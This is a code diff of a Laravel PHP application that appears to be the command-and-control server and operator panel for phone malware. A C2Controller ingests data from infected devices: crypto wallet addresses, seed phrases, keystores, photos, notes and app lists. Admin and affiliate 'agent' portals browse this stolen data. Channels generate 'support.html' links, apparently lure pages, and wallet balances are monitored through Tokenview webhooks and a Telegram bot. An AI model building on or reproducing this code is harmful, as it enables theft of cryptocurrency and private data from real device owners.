'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
};
} }
public function photo(Device $device, int $photo) public function photo(Device $device, int $photo)
{ {
$this->authorizeDevice($device);
$row = $device->photos()->whereKey($photo)->firstOrFail(); $row = $device->photos()->whereKey($photo)->firstOrFail();
abort_unless(Storage::disk('local')->exists($row->path), 404); abort_unless(Storage::disk('local')->exists($row->path), 404);
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream'; $mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
@@ -89,4 +142,242 @@ class DeviceController extends Controller
return response(Storage::disk('local')->get($row->path), 200) return response(Storage::disk('local')->get($row->path), 200)
->header('Content-Type', $mime); ->header('Content-Type', $mime);
} }
private function authorizeDevice(Device $device): void
{
if ($agent = $this->agent()) {
$ids = AgentScope::channelIdsFor($agent);
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
}
}
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q = $device->photos();
// sensitive=1 → x_hit > 0(含敏感词)
if ((string) $request->query('sensitive', '') === '1') {
$q->where('x_hit', '>', 0);
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
return [
'id' => $photo->id,
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
'sha256' => $photo->sha256 ?: '',
'size' => $photo->size,
'x_hit' => $photo->x_hit,
'upload_count' => $photo->upload_count,
'process_index' => $photo->process_index,
'text_count' => $photo->text_count,
'barcode_count' => $photo->barcode_count,
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q = $device->addresses();
$source = trim((string) $request->query('source', ''));
if ($source !== '') {
$q->where('source', $source);
}
$chainType = trim((string) $request->query('chain_type', ''));
if ($chainType !== '') {
$q->where('chain_type', $chainType);
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'source' => $addr->source ?: '',
'chain_type' => $addr->chain_type ?: '',
'address' => $addr->address,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'monitor' => (int) $addr->monitor,
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
return [
'id' => $w->id,
'source' => $w->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'is_wallet';
$order = 'desc';
}
$q = $device->apps();
if ($field === 'is_wallet') {
$q->orderByDesc('is_wallet')->orderBy('name');
} else {
$q->orderBy($field, $order);
}
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (DeviceApp $app) {
return [
'id' => $app->id,
'name' => $app->name ?: '',
'bundle_id' => $app->bundle_id ?: '',
'version' => $app->version ?: '',
'is_wallet' => (bool) $app->is_wallet,
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Note $note) {
$content = $note->content;
if (is_array($content)) {
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return [
'id' => $note->id,
'content' => $content ?: '',
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'event_name', 'desc', 'created_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (DeviceEvent $ev) {
return [
'id' => $ev->id,
'event_name' => $ev->event_name ?: '',
'desc' => $ev->desc ?: '',
'context' => $ev->context_json
? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
: '',
'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
/**
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
private function layuiPage(int $count, $data)
{
return response()->json([
'code' => 0,
'msg' => '',
'count' => $count,
'data' => $data,
]);
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int}
*/
private function filtersFrom(Request $request): array
{
return [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'agent_user_id' => (int) $request->query('agent_user_id', 0),
];
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int} $filters
*/
private function filteredQuery(array $filters): Builder
{
$q = Device::query()->select('devices.*');
AgentScope::applyDeviceChannelScope($q, $this->agent());
if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') {
$q->where('devices.device_model', 'like', '%'.$filters['model'].'%');
}
if ($filters['ip'] !== '') {
$q->where('devices.ip', 'like', '%'.$filters['ip'].'%');
}
if ($filters['ios'] !== '') {
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
}
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
}
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
}
if (! $this->isAgentPortal() && $filters['agent_user_id'] > 0) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}
return $q;
}
} }
@@ -0,0 +1,106 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class MnemonicController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletMnemonic::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.mnemonics.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->select([
'wallet_mnemonics.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
$q->where('wallet_mnemonics.source', $source);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,99 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Note;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class NoteController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.notes.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('notes.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
$content = $row->content;
if (is_array($content)) {
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'content' => $content ?: '',
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = Note::query()
->join('devices', 'devices.id', '=', 'notes.device_id')
->select([
'notes.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,98 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Photo;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class PhotoController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.photos.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'size', 'x_hit', 'created_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('photos.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
'size' => $row->size,
'x_hit' => $row->x_hit,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = Photo::query()
->join('devices', 'devices.id', '=', 'photos.device_id')
->select([
'photos.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ((string) $request->query('sensitive', '') === '1') {
$q->where('photos.x_hit', '>', 0);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,41 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Services\SettingsService;
use Illuminate\Http\Request;
class SystemSettingsController extends Controller
{
public function index(SettingsService $settings)
{
return view('admin.system.settings', [
'form' => $settings->effectiveForForm(),
]);
}
public function update(Request $request, SettingsService $settings)
{
$data = $request->validate([
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
'channels_domains' => ['nullable', 'string', 'max:4000'],
]);
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
$settings->putMany([
'telegram.bot_token' => $data['telegram_bot_token'] ?? null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
? (string) $data['channels_max_per_agent']
: null,
// Persist normalized comma-separated list (empty clears override to []).
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
]);
return response()->json(['code' => 0, 'msg' => '已保存']);
}
}
@@ -0,0 +1,150 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletAddress;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
class WalletAddressController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletAddress::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.addresses.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_addresses.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
/** @var WalletAddress $row */
$coins = $row->formattedCoins();
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'chain_type' => $row->chain_type ?: '',
'address' => $row->address,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'monitor' => (int) $row->monitor,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function update(Request $request, WalletAddress $address)
{
$data = $request->validate([
'monitor' => ['required', 'integer', 'in:0,1'],
]);
$allowed = WalletAddress::query()
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->where('wallet_addresses.id', $address->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
if (! $allowed->exists()) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$address->monitor = (int) $data['monitor'];
$address->save();
try {
app(TokenviewMonitorService::class)->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview syncMonitor failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => ['id' => $address->id, 'monitor' => (int) $address->monitor],
]);
}
private function baseQuery(Request $request): Builder
{
$q = WalletAddress::query()
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->select([
'wallet_addresses.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
$q->where('wallet_addresses.source', $source);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,59 @@
<?php
namespace App\Http\Controllers\Agent;
use App\Http\Controllers\Controller;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class AuthController extends Controller
{
public function showLogin()
{
if (Auth::guard('agent')->check()) {
return redirect()->route('user.home');
}
return view('user.login');
}
public function home()
{
return view('user.shell');
}
public function login(Request $request)
{
$credentials = $request->validate([
'username' => 'required|string',
'password' => 'required|string',
]);
/** @var User|null $user */
$user = User::query()->where('username', $credentials['username'])->first();
if ($user && ! $user->isEnabled()) {
return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username');
}
if (Auth::guard('agent')->attempt(
['username' => $credentials['username'], 'password' => $credentials['password']],
$request->boolean('remember')
)) {
$request->session()->regenerate();
return redirect()->intended(route('user.home'));
}
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
}
public function logout(Request $request)
{
Auth::guard('agent')->logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
return redirect()->route('user.login');
}
}
+20 -15
View File
@@ -68,11 +68,7 @@ class C2Controller extends Controller
$payload = $request->attributes->get('coruna_payload'); $payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) { if ($device && is_array($payload)) {
$this->ingest->ingestAddresses($device, $payload); $this->ingest->ingestKeystore($device, $payload);
// keystore-ish blobs
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
$this->ingest->ingestWalletSecrets($device, $payload);
}
} }
return $this->encryptedAck(); return $this->encryptedAck();
@@ -94,7 +90,7 @@ class C2Controller extends Controller
$payload = $request->attributes->get('coruna_payload'); $payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) { if ($device && is_array($payload)) {
$this->ingest->ingestWalletSecrets($device, $payload); $this->ingest->ingestMnemonic($device, $payload);
} }
return $this->encryptedAck(); return $this->encryptedAck();
@@ -130,13 +126,16 @@ class C2Controller extends Controller
$batchBase = '0'; $batchBase = '0';
} }
$counters = [ $xHitRaw = $request->input('x-hit');
'count' => $request->input('count'), $xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
'total' => $request->input('total'), [$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
'index' => $request->input('index'), [$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
'batchBase' => $batchBase, $photoMeta = [
'ts' => $request->input('ts'), 'x_hit' => $xHit,
'x-hit' => $request->input('x-hit'), 'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
]; ];
$attachmentRel = null; $attachmentRel = null;
@@ -147,7 +146,7 @@ class C2Controller extends Controller
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work); $attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel); Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) { if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $counters); $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
} }
create_log([ create_log([
'event' => 'check_extract', 'event' => 'check_extract',
@@ -159,7 +158,13 @@ class C2Controller extends Controller
'password_recipe' => $extracted['password_recipe'], 'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000), 'stderr' => substr((string) $extracted['stderr'], 0, 2000),
], ],
'counters' => $counters, 'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2'); ], 'c2');
} }
@@ -0,0 +1,37 @@
<?php
namespace App\Http\Controllers\Concerns;
use App\Models\User;
trait PortalAware
{
protected function portal(): string
{
$name = request()->route()?->getName() ?? '';
return str_starts_with($name, 'user.') ? 'user' : 'admin';
}
protected function isAgentPortal(): bool
{
return $this->portal() === 'user';
}
protected function agent(): ?User
{
if (! $this->isAgentPortal()) {
return null;
}
/** @var User|null $user */
$user = auth('agent')->user();
return $user;
}
protected function routeName(string $suffix): string
{
return $this->portal().'.'.$suffix;
}
}
@@ -0,0 +1,33 @@
<?php
namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use SergiX44\Nutgram\Nutgram;
class TelegramWebhookController extends Controller
{
public function __invoke(Request $request, Nutgram $bot): Response
{
$secret = (string) config('coruna.telegram.webhook_secret', '');
if ($secret !== '') {
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
if (! hash_equals($secret, $header)) {
abort(403, 'Invalid webhook secret');
}
}
try {
$bot->run();
} catch (\InvalidArgumentException $e) {
// FakeNutgram with no update (unit tests) — still ACK the webhook probe.
if (! app()->runningUnitTests()) {
throw $e;
}
}
return response()->noContent();
}
}
@@ -0,0 +1,39 @@
<?php
namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Log;
class TokenviewWebhookController extends Controller
{
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
{
$raw = $request->getContent();
$signature = $request->header('X-Tokenview-Signature');
if (! $monitor->verifySignature($raw, $signature)) {
Log::warning('tokenview webhook bad signature');
return response('invalid signature', 401);
}
$payload = $request->json()->all();
if (! is_array($payload) || $payload === []) {
$decoded = json_decode($raw, true);
$payload = is_array($decoded) ? $decoded : [];
}
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
}
// Tokenview requires HTTP 200 + non-empty body.
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
}
}
@@ -0,0 +1,23 @@
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
class EnsureSuperAdmin
{
public function handle(Request $request, Closure $next): Response
{
$admin = auth('admin')->user();
if ($admin === null || ! $admin->isSuper()) {
if ($request->expectsJson() || $request->ajax()) {
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
}
abort(403, '需要超级管理员权限');
}
return $next($request);
}
}
+7 -1
View File
@@ -6,7 +6,7 @@ use Illuminate\Foundation\Auth\User as Authenticatable;
class Admin extends Authenticatable class Admin extends Authenticatable
{ {
protected $fillable = ['username', 'password']; protected $fillable = ['username', 'password', 'is_super'];
protected $hidden = ['password', 'remember_token']; protected $hidden = ['password', 'remember_token'];
@@ -14,6 +14,12 @@ class Admin extends Authenticatable
{ {
return [ return [
'password' => 'hashed', 'password' => 'hashed',
'is_super' => 'integer',
]; ];
} }
public function isSuper(): bool
{
return (int) $this->is_super === 1;
}
} }
+90
View File
@@ -0,0 +1,90 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Channel extends Model
{
public const OFFICIAL_USER_ID = 0;
protected $fillable = [
'channel_id', 'user_id', 'domains', 'status', 'remark',
];
protected function casts(): array
{
return [
'domains' => 'array',
'status' => 'integer',
'user_id' => 'integer',
];
}
public function user(): BelongsTo
{
return $this->belongsTo(User::class, 'user_id');
}
public function isEnabled(): bool
{
return (int) $this->status === 1;
}
public function isOfficial(): bool
{
return (int) $this->user_id === self::OFFICIAL_USER_ID;
}
public function agentLabel(): string
{
if ($this->isOfficial()) {
return '官方';
}
return $this->user?->username ?: ('#'.$this->user_id);
}
/**
* @return list<string>
*/
public function resolvedDomains(): array
{
// Domains come from env only (CORUNA_CHANNEL_DOMAINS).
$domains = config('coruna.channel_domains', []);
return array_values(array_filter(array_map(static function ($d) {
return is_string($d) ? trim($d) : '';
}, is_array($domains) ? $domains : [])));
}
/**
* @return list<string>
*/
public function supportLinks(): array
{
$links = [];
foreach ($this->resolvedDomains() as $domain) {
$host = preg_replace('#^https?://#i', '', rtrim($domain, '/'));
if ($host === '') {
continue;
}
$links[] = 'https://'.$host.'/web/'.$this->channel_id.'/support.html';
}
return $links;
}
public static function randomChannelId(): string
{
return bin2hex(random_bytes(16));
}
public static function maxPerAgent(): int
{
$n = (int) config('coruna.channels.max_per_agent', 5);
return max(1, $n);
}
}
+10 -5
View File
@@ -38,13 +38,18 @@ class Device extends Model
return $this->hasMany(Note::class); return $this->hasMany(Note::class);
} }
public function wallets(): HasMany
{
return $this->hasMany(Wallet::class);
}
public function addresses(): HasMany public function addresses(): HasMany
{ {
return $this->hasMany(WalletAddress::class); return $this->hasMany(WalletAddress::class);
} }
public function mnemonics(): HasMany
{
return $this->hasMany(WalletMnemonic::class);
}
public function keystores(): HasMany
{
return $this->hasMany(WalletKeystore::class);
}
} }
+4 -2
View File
@@ -8,12 +8,14 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Note extends Model class Note extends Model
{ {
protected $fillable = [ protected $fillable = [
'device_id', 'title', 'body', 'meta_json', 'device_id', 'content',
]; ];
protected function casts(): array protected function casts(): array
{ {
return ['meta_json' => 'array']; return [
